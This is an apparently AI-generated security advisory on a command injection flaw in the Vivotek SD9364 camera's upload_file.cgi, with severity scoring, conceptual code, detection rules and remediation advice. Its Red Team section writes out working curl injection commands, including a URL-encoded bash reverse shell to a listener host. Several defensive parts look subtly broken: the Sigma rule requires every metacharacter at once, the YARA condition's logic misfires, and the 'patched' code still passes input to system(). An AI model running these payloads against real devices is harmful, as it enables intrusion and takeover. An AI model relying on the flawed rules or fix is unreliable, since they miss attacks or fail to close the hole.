CVE-2024-7442

Executive Summary

CVE-2024-7442 is a critical command injection vulnerability in the Vivotek SD9364 network camera running firmware version VVTK-0103f. The flaw resides in the upload_file.cgi CGI script, where the QUERY_STRING environment variable is passed unsanitized to a system command via the getenv function. An unauthenticated attacker can exploit this remotely to execute arbitrary operating system commands with the privileges of the web server (typically root). The product is End-of-Life (EOL) and no patch will be released. This vulnerability is classified as CRITICAL due to the lack of authentication required and the potential for full device compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full read access to device files and network traffic.
• Integrity Impact: High (I:H) – Full write access to device filesystem.
• Availability Impact: High (A:H) – Can crash or disable the device.

Deep Dive & Mechanics

The vulnerability is a classic command injection in a CGI environment. The upload_file.cgi script uses the getenv function to retrieve the QUERY_STRING environment variable. This variable contains the raw query string from the HTTP request (everything after the ? in the URL). The script then passes this string directly to a shell command (likely via system(), popen(), or similar) without any sanitization or escaping.

Attack Flow:

1. An attacker sends an HTTP GET request to http://<target>/cgi-bin/upload_file.cgi?<payload>.
2. The web server sets the QUERY_STRING environment variable to the attacker-controlled payload.
3. The upload_file.cgi script calls getenv("QUERY_STRING") and passes the result to a shell command.
4. The attacker includes shell metacharacters (e.g., ;, |, &&, `) in the query string to inject arbitrary commands.
5. The injected command executes with the privileges of the web server (typically root on embedded devices).

Example Payload:

http://<target>/cgi-bin/upload_file.cgi?;id

This would execute the id command and likely return the output in the HTTP response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual C):

#include <stdlib.h>
#include <stdio.h>

int main() {
    char *query = getenv("QUERY_STRING");
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "some_command %s", query);
    system(cmd);  // VULNERABLE: unsanitized input
    return 0;
}

Patched Code (Conceptual C):

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
    char *query = getenv("QUERY_STRING");
    // Sanitize: remove shell metacharacters
    for (int i = 0; query[i]; i++) {
        if (strchr(";&|`$(){}[]<>#!~", query[i])) {
            query[i] = '_';  // Replace with safe character
        }
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "some_command %s", query);
    system(cmd);  // SAFER but still not ideal
    return 0;
}

Note: Since the product is EOL, no official patch exists. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a Vivotek SD9364 camera (or use an emulator like FirmAE).
2. Connect it to an isolated network.
3. Identify the IP address.

Exploitation Steps:

1. Reconnaissance: Scan for the camera using Shodan or Nmap.

   nmap -p 80,443,8080 <target>
   

2. Verify Vulnerability: Send a benign command to test injection.

   curl "http://<target>/cgi-bin/upload_file.cgi?;echo%20INJECTED"
   

   If the response contains "INJECTED", the vulnerability is confirmed.
3. Execute Commands: Use command injection to gain a reverse shell.

   # Reverse shell payload (URL-encoded)
   curl "http://<target>/cgi-bin/upload_file.cgi?;bash%20-i%20%3E%26%20/dev/tcp/192.168.1.100/4444%200%3E%261"
   

   On your listener:

   nc -lvnp 4444
   

4. Post-Exploitation: Dump credentials, pivot to internal network, or install persistence.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /cgi-bin/upload_file.cgi for unusual query strings containing shell metacharacters (;, |, &, `).
• Alert on any QUERY_STRING containing %3B (URL-encoded ;), %7C (|), or %26 (&).
• Use the Sigma rule below in your SIEM.

Mitigation:

• Immediate: Isolate the device from the network. If it must be used, place it behind a WAF that blocks malicious query strings.
• Long-term: Replace the EOL camera with a supported model.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /cgi-bin/upload_file.cgi with query strings containing shell metacharacters.
  • Outbound connections from the camera to unusual IP addresses on high ports (e.g., 4444, 1337).
• File System IOCs:
  • Presence of files in /tmp/ with suspicious names (e.g., .persistence.sh).
  • Modified /etc/passwd or /etc/shadow files.
• Process IOCs:
  • Running processes like bash, nc, python, or perl spawned by the web server.
• Log IOCs:
  • Web server logs showing upload_file.cgi accessed with long query strings.

Detection Engineering

YARA Rule

rule CVE_2024_7442_Command_Injection {
    meta:
        description = "Detects command injection attempts against Vivotek SD9364 upload_file.cgi"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "CVE-2024-7442"
    strings:
        $cgi_path = "/cgi-bin/upload_file.cgi"
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "&"
        $shell_meta4 = "`"
        $url_encoded_semi = "%3B"
        $url_encoded_pipe = "%7C"
        $url_encoded_amp = "%26"
    condition:
        $cgi_path and any of ($shell_meta*) or any of ($url_encoded_*)
}

Sigma Rule

title: CVE-2024-7442 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Vivotek SD9364 upload_file.cgi with command injection payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/cgi-bin/upload_file.cgi"
        cs-uri-query|contains|all:
            - ";"
            - "|"
            - "&"
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in query strings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7442 Command Injection Attempt"; flow:to_server; content:"/cgi-bin/upload_file.cgi"; http_uri; pcre:"/(%3B|%7C|%26|;|\||&|`)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Disconnect the camera from the production network. If it must remain operational, place it behind a firewall with strict egress rules.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block requests containing shell metacharacters in the query string.
3. Monitor logs: Review web server logs for exploitation attempts.

Long-term Actions:

1. Replace the device: The Vivotek SD9364 is End-of-Life and will not receive a patch. Replace it with a supported model.
2. Network segmentation: Ensure IoT devices are on a separate VLAN with no access to critical systems.
3. Vendor notification: Report the vulnerability to Vivotek (already done per CVE notes).

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.